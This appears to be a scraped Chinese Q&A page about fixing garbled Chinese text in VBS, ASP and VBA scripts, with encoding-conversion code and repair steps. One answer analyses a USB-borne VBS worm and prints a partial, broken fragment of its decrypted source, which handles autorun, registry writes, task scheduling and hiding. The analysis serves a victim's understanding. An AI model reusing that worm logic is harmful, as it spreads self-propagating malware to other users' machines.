filesystemobject 乱码(vbs如何实现中中英文字符串的比较.为什么vbs读取中文字符串出现乱码)

本文目录
- vbs如何实现中中英文字符串的比较.为什么vbs读取中文字符串出现乱码
- 我在百度输入造型两字,出现乱码
- BAT,VBS,TXT文件乱码
- 我去打印房打印,u盘上中了这个.vbs的病毒,用记事本打开全是乱码,求解密之后的源代码````
- 帮我分析下asp FileSystemObject乱码问题
- VB 文本分割出现乱码
- VBA输出txt 中文乱码 如何设置成UTF-8
- asp读取xml是乱码
vbs如何实现中中英文字符串的比较.为什么vbs读取中文字符串出现乱码
set fso=createobject("scripting.filesystemobject")
set txt1=fso.opentextfile("1.txt",1)
cod1=txt1.readall
txt1.close
set txt2=fso.opentextfile("2.txt",1)
cod2=txt2.readall
txt2.close
if instr(cod2,cod1)》0 then
msgbox "找到了字符:"&cod1
end if
上源码测试可用。
同目录下新建两个文件“1.txt”、“2.txt”。“1.txt”写进搜索关键词“中国人”,“2.txt”写入内容“我是中国人,你好。”。
字符串比较不分什么文,只要你双引号里面的东西完全一样就相等。有一点点不同都不会相等。
有任何问题追问吧。
我在百度输入造型两字,出现乱码
可能有流氓软件或系统错误
多试几次估计就好了,以前也遇到过同样的情况
就是百度出问题了,我今天也遇到这样情况
1、点击“开始”菜单,打开“运行”。
2、输入regsvr32 jscript.dll后选择“确定”。
出现提示后,点击确定。
3、再次输入regsvr32 vbscript.dll选择“确定”。
再一次出现提示后,确定。
4、经过以上两次成功提示,说明已成功修复IE组件,将浏览器的过滤等功能关闭后,清除一下浏览器的缓存(工具-》Internet选项-》删除Cookies),点浏览器上的工具——然后再选择最下面的Internet选项,再点Internet删除文件(记得勾上删除所有脱机内容),确定后,然后再重新打开浏览器尝试。
2(推荐方法)、你应当更换一个浏览器,最好用Opera
3、1、如果是Scripting.FileSystemObject (FSO 文本文件读写)被关闭了,开启FSO功能即可,在“运行”中执行regsvr32 scrrun.dll即可 。
2、安全模式设置成“中”,如果javascript脚本中报这个错误,还应将IE的安全设置“不允许运行未标记为安全的activeX控件”启用即可。
注意如果您将相应的网站设成“受信任的站点”,必须对“受信任的站点”进行相应的IE安全设置,此时如果对“Internet”IE设置将是徒劳的。
3、有些脚本需要微软的 MSXML 控件才能进入。当使用 IE 5 以上版本的缺省安全模式时,会提示是否接受 MSXML 控件,如果接受,MSXML 将自动安装到您的机器上(得等上几分钟)。如果自动安装不成功,可以自行下载和安装 MSXML 3.0 SP7。有时是由于msxml 3服务被关掉了,使用regsvr32 msxml3.dll即可。
4、重启机器
5、联系运营商,查看网络是否有问题
6、修复ie,用360安全卫士吧
7、扫描下病毒
9、杀下木马
10、用360急救箱
如果还不行,我就没办法了,祝楼主好运!
BAT,VBS,TXT文件乱码
Const ForReading = 1, ForWriting = 2
Dim fso, f, oFile, str
oFile = "D:\a.txt" ’这里修改为你的文件路径
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(oFile, ForReading)
str = f.ReadAll
f.Close
’MsgBox str
str = RegExpReplace("《pr_code》.+《/pr_code》", str, "《pr_code》《/pr_code》")
str = RegExpReplace("《pr_date》.+《/pr_date》", str, "《pr_date》《/pr_date》")
’MsgBox str
Set f = fso.OpenTextFile(oFile, ForWriting, True)
f.Write str
f.Close
Function RegExpReplace(patrn, strOrig, strReplace)
Dim regEx, Match, Matches ’ Create variable.
Set regEx = New RegExp ’ Create a regular expression.
regEx.Pattern = patrn ’ Set pattern.
regEx.IgnoreCase = True ’ Set case insensitivity.
regEx.Global = True ’ Set global applicability.
RetStr = regEx.Replace(strOrig, strReplace)
Set regEx = Nothing
我去打印房打印,u盘上中了这个.vbs的病毒,用记事本打开全是乱码,求解密之后的源代码````
你好
这个是vbs脚本病毒,看上去是乱码,一点也看不懂,其实还是有迹可循的。其思路就是寻 找"execute"关键词。病毒最终,还是要换成机器可以看懂的内容,也就是说,最后一层的execute里面的内容,就是病毒的源代码。按照这个思路,那么可以知道,解密方法也一定就在这个execute里面。
也就是说:无需明白他是如何加密的,只需要知道,execute出来的是什么。
按照这个思路,可以得到程序的最后一次迭代加密过程前的代码,也就是第一次迭代解密的代码,看上去还是乱码,不过还是同样的道理,总可以找到execute这个关键词。病毒可能经过多次迭代,不过最终还是可以看懂的。
需要注意的是,execute后面的内容解密出来如果真的用execute执行了,那就中招了,所以这里要注意不能把execute也放进去一起执行。
以下是我的解密最终代码片断
这个程序作者比较BT,手工加密了很多地方,还手工打乱了代码,严重妨碍了程序可读性。
分析完代码其大致功能是
1。开机自启动
2。U盘的感染
3。破坏系统隐藏功能
on error resume next
j="\":til="SY":btj=900:vs=".vbs":ve=".vbe":cm="%comspec% /c":dfo="/u#t/":inf="\autorun.inf"
set ws=createobject("wscript.shell"):set fso=createobject("scripting.filesystemobject")
set wmi=getobject("winmgmts:\\.\root\cimv2"):set sis=wmi.execquery("select * fromwin32_operatingsystem")
set dc=fso.drives:set ats=wmi.execquery("select * from win32_service where name=’Schedule’")
for each atc in ats:cat=atc.state:next:if cat="Stopped" then ws.run "net start ""task scheduler""",0,false
ouw=wscript.scriptfullname:win=fso.getspecialfolder(0)&j:dir=fso.getspecialfolder(1)&j
tmp=fso.getspecialfolder(2)&j:wbe=dir&"wbem\":mir=left(ouw,len(ouw)-len (wscript.scriptname))
cnr="\computername":cnp="HKLM\system\currentcontrolset\control"&cnr&cnr&cnr:cna=rr (cnp,0):if cna="" then cna=til
wsc="wscript.exe":csc="cscript.exe":css=csc&" //nologo ":wsr=rn&":createobject (""wscript.shell"").run"
c=vbcrlf:inc=til&c&""&c&"open="&wsc&" .\"&vs&c&"shell\open\command="&wsc&" .\"&vs&c&"shell\open\default=1"
sf="shell folders\":rop="\software\microsoft\windows\currentversion\explorer\":dap=rr ("HKCU"&rop&sf&"desktop",0)&j
rpa="HKLM\software\"&cna&j:fsp=rr("HKLM"&rop&sf&"common startup",0)&j&vs:fap=rr ("HKCU"&rop&sf&"favorites",0)&j
ht=ec("ivwt?56"):ha=ec(":;9:7》5kw9"):hb=hl&"1;《《=6x"&hl&"r;":hc="0dwuEpE":hd=ec
("$"+hc):he=ec("c"+hc)
rsp="HKLM\software\microsoft\windows\currentversion\":rsb=rsp&"run\":rsp=rsp&"policies\explorer\run\"&cna
hip="HKCU"&rop&"advanced\showsuperhidden":sz=lcase(fso.getfilename(wscript.fullname)):if mir=dir then sys=true
for each si in
sis:ca=si.caption:cs=si.codeset:cc=si.countrycode:os=si.oslanguage:wv=si.version:next
if instr(wv,"5.2")《》0 then hb="w"+hb:lb="v" else if os《》2052 and cc《》86 then
hb="p"+hb:lb="o" else hb="d"+hb:lb="c"
for each d in dc
if mir=d&j then ws.run "explorer "&d,3,false:bir=true
next
if bir or sys or mir=win or mir=wbe then tir=true else wscript.quit
ouc=rt(ouw,-1):ver=gv(ouw):if ver="" or not isnumeric(ver) then msgbox("See You!"):km 1
else km 0
if sys then
if sz=wsc then pr csc,-1
if pr(csc,2)=1 then wscript.quit
wscript.sleep 2000
if pr(csc,1)=0 then ws.run css&dir&ve,0,false:if pr(csc,1)=1 then wscript.quit
if rr("til",1)《》til then wr "til",til:wr "tjs",btj:wr "djs",date-1:wr "ded",0
djs=rr("djs",1):if isdate(djs) and date-cdate(djs)》50 and lb《》"o" then wr "osw",4
if rr("atd",1)=1 then ws.run "at /d /y",0,false:wr "atd",0
le=rr("dna",1):if ei(tmp≤,1) then ws.run tmp≤
cu:er 10
else
wscript.sleep 5000
if pr(wsc,2)=2 then:if rr("tjc",1)=cstr(date) then:wscript.quit:else:wr "tjc",date
if pr(csc,1)《》1 or pr(wsc,1)=0 then bf dir&ve,ouc,7:ws.run css&dir&ve,0,false
end if
if pa=1 then rna=rpa&rna
rr=ws.regread(rna)
if er(0) then rr=0
for i=1 to len(wt):ec=ec+chr(asc(mid(wt,i,1))-i):next
由于VBS与JS一样是解释型语言,代码自上而下,一行一行地运行。所以解这类代码的一个技巧是:
我们寻找解密入口点时,应该优先考虑最后一个execute。作者大量使用逻辑拼接。。。属于很BT的加密。。。汗水...
帮我分析下asp FileSystemObject乱码问题
在程序开头前面加上代码
Response.ContentType = "text/html"
Response.Charset = "GB2312"
VB 文本分割出现乱码
’用了一个小时完成调试,加了一个功能:新文件可以设定每行固定字数,以字符为单位,如果大部分是汉字的话,字节大小大约是字符数的二倍。
Private Sub Form_Load()
Dim FileName As String, FileSize As Double, i As Long, n As Long, HangSize As Integer, b As Long, d As Long, a
Dim newline() As String, j As Long, File1 As String
FileName = InputBox("请输入文件名(含完整路径)", "提示", "d:\cs.txt")
If Dir(FileName) = "" Then
MsgBox "文件不存在!"
Exit Sub
End If
Open FileName For Input As #1
i = InStrRev(FileName, "\")
j = InStrRev(FileName, ".")
File1 = Mid(FileName, i + 1, j - i - 1)
i = 0
j = 0
Do While Not EOF(1)
i = i + 1
ReDim Preserve newline(i)
Line Input #1, newline(i)
newline(i) = Trim(newline(i))
DoEvents
Loop
Close #1
HangSize = InputBox("请输入每个文件每行的大小(字数)", "提示", 10)
Dim dateStr As String
ReDim newstr(1)
For n = 1 To UBound(newline)
If Len(newline(n)) 《= 10 Then
ReDim Preserve newstr(UBound(newstr) + 1)
newstr(UBound(newstr)) = newline(n) + vbCrLf
j = j + Len(newstr(UBound(newstr)))
Else
If Len(newline(n)) / HangSize = Int(Len(newline(n)) / HangSize) Then
d = Int(Len(newline(n)) / HangSize)
Else
d = Int(Len(newline(n)) / HangSize) + 1
End If
For c = 1 To d
ReDim Preserve newstr(UBound(newstr) + 1)
newstr(UBound(newstr)) = Mid(newline(n), (c - 1) * HangSize + 1, HangSize) + vbCrLf
j = j + Len(newstr(UBound(newstr)))
Next
End If
Next
FileSize = InputBox("经整理后该文件共有" & j & "字符" & vbNewLine _
& "请输入新文件的每个文件的大小(字符)", "提示", j / 4)
b = 1
If j / FileSize = Int(j / FileSize) Then
d = Int(j / FileSize)
Else
d = Int(j / FileSize) + 1
End If
For n = 1 To d
dateStr = ""
m = 0
Do While m 《 FileSize
b = b + 1
If b 《= UBound(newstr) Then
dateStr = dateStr + newstr(b)
m = Len(dateStr)
Else
Exit Do
End If
Loop
Set fs = CreateObject("Scripting.FileSystemObject")
Set a = fs.CreateTextFile(n & ".txt", True)
a.Write (dateStr)
a.Close
Set a = Nothing
Next
MsgBox "共分割成" & (n - 1) & "个文件,并保存在" & App.Path & "目录下!"
End Sub
这是一个转码函数body是要转内容,Cset是要转码的格式例如“uft-8”(unicode编码的一种)
Function BytesToBstr(body, Cset)
Dim objstream
Set objstream = CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode = 3
objstream.open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
Set objstream = Nothing
End Function
VBA输出txt 中文乱码 如何设置成UTF-8
把下面代码保存为“转换.vbs”,运行它就可以批量转换TXT文件的编码了。
on error resume next
Set WshShell=WScript.CreateObject("Shell.Application")
dirPath=WshShell.BrowseForFolder(0, "请选择路径", 0, "").items().item().path
if right(dirPath,1)《》"\" then dirPath=dirpath&"\"
ma=inputbox("请输入要转换为的编码","","UTF-8")
if ma="" or dirPath="\" or msgbox("在使用前请确认已备份文件夹"&dirPath,1)=2 then WScript.Quit
’遍历文件夹下的文件
Set FSO = CreateObject("scripting.filesystemobject")
Set f = FSO.GetFolder(dirPath)
Set fs = f.files
For Each fileN in fs
FN=dirPath&fileN.name&""
if ".txt"=lcase(right(FN,4)) then Call WriteToFile(FN, ReadFile(FN, CheckCode(FN)), ma)
Next
Set FSO = Nothing
wscript.echo "全部成功"
’检测文件的编码
Function CheckCode (FileUrl)
Dim slz
set slz = CreateObject("Adodb.Stream")
slz.Type = 1
slz.Mode = 3
slz.Open
slz.Position = 0
slz.Loadfromfile FileUrl
Bin=slz.read(2)
if AscB(MidB(Bin,1,1))=&HEF and AscB(MidB(Bin,2,1))=&HBB Then
Codes="UTF-8"
elseif AscB(MidB(Bin,1,1))=&HFF and AscB(MidB(Bin,2,1))=&HFE Then
Codes="Unicode"
else
Codes="GB2312"
end if
slz.Close
set slz = Nothing
CheckCode=Codes
End Function
’以指定的编码读取文件
Function ReadFile(FileUrl, CharSet)
On Error Resume Next
Dim Str
Set stm = CreateObject("Adodb.Stream")
stm.Type = 2
stm.mode = 3
stm.charset = CharSet
stm.Open
stm.loadfromfile FileUrl
Str = stm.readtext
stm.Close
Set stm = Nothing
wscript.echo Str
ReadFile = Str
End Function
’以指定的编码写文件
Function WriteToFile (FileUrl, Str, CharSet)
On Error Resume Next
Set stm = CreateObject("Adodb.Stream")
stm.Type = 2
stm.mode = 3
stm.charset = CharSet
stm.Open
stm.WriteText Str
stm.SaveToFile FileUrl, 2
stm.flush
stm.Close
Set stm = Nothing
End Function
asp读取xml是乱码
ASP由于是一种古老的语言,它的一些功能对UTF-8支持非常差。比如,你想生成一个UTF-8格式的文件,使用常用的 scrīpting.FileSystemObject 对象就不行。scripting.FileSystemObject 对象创建文件的函数,是下面方式:FileSystemObject.CreateTextFile(filename)其中的 unicode 属性是这样描述的:可选项。Boolean 值指明是否以 Unicode 或 ASCII 文件格式创建文件。如果以 Unicode文件格式创建文件,则该值为 True;如果以 ASCII 文件格式创建文件,则该值为 False。如果省略此部分,则假定创建 ASCII 文件。我们是无法用这个函数来创建UTF-8格式文件的。这时候,我们可以使用 ADODB.Stream 对象,使用方法见下面:Set objStream = Server.CreateObject("ADODB.Stream")With objStream.Open.Charset = "utf-8".Position = objStream.Size.WriteText=str.SaveToFile server.mappath("/sitemap.XML"),2.CloseEnd WithSet objStream = Nothing附:ASCII 、Unicode 、 UTF-8 介绍:ASCII 是一种字符集,包括大小写的英文字母、数字、控制字符等,它用一个字节表示,范围是 0-127。由于 ASCII 表示的字符非常有限,各个国家或者地区在此基础上提出了自己的字符集,比如在中国应用非常广泛的 GB2312,它为汉字提供了编码,用两个字节表示。这些字符集之间互不兼容,相同的数字可能表示不同的字符,为信息交流带来了麻烦。Unicode 是一种字符集,它将世界上的所有字符映射成一个唯一的数字(code point),比如字母 a 对应的数字 0x0041。目前 Unicode 还处于发展中,它所包容的字符越来越多。在将 Unicode 表示的字符进行存储时,还需要一定的编码方式,比如 UCS-2,它用两个字节来表示 Unicode 编码的字符。而 UTF-8 是 Unicode 字符集的另外一种编码方式,它是变长度的,最多 6 个字节,小于 127 的字符用一个字节表示,与 ASCII 字符集的结果一样,因而具有非常好的兼容性,ASCII 编码下的英语文本不需要修改就可以当作 UTF-8 编码进行处理,应用非常广泛。

本文相关文章:
googlemap中文版下载(求谷歌地图2008中文版下载,谢谢)
2026年5月15日 11:40
gta 5 for android下载中文(求侠盗飞车5中文下载地址)
2026年7月22日 09:10
迅雷游游官方下载(请问哪里能下载最新版本的实况足球2011中文版)
2026年6月18日 09:20
手机ps模拟器中文版下载(求PS版本的最终幻想战略版中文游戏下载我有PS模拟器)
2026年4月22日 21:45
element中文意思(ingredient是什么意思 ingredient的中文意思)
2026年9月5日 11:20
linux查找和追加(linux系统中文件追加内容的命令是什么)
2026年8月14日 07:10
更多文章:
blast premier春季赛(csgo战队vitality有谁)
2026年9月7日 21:50
全球新冠肺炎疫情背景下航运发展(盐田港复苏日志:半年历劫从“低谷”到“爆仓” 疫情之后巨轮如何越洋航行)
2026年9月7日 17:10
matlab求解带字母参数方程组(我想matlab求一个关于x,y的方程组 ab c d f e h m n 都是参数)
2026年9月7日 16:30
oracle中的循环语句(下面哪个不是oracle程序设计中的循环语句 a for)
2026年9月7日 15:30
电脑里2个系统怎么删除一个(电脑开机显示有两个系统,如何删除一个)
2026年9月7日 12:20
scrollthrough意思(“scroll”是什么意思)
2026年9月7日 08:00



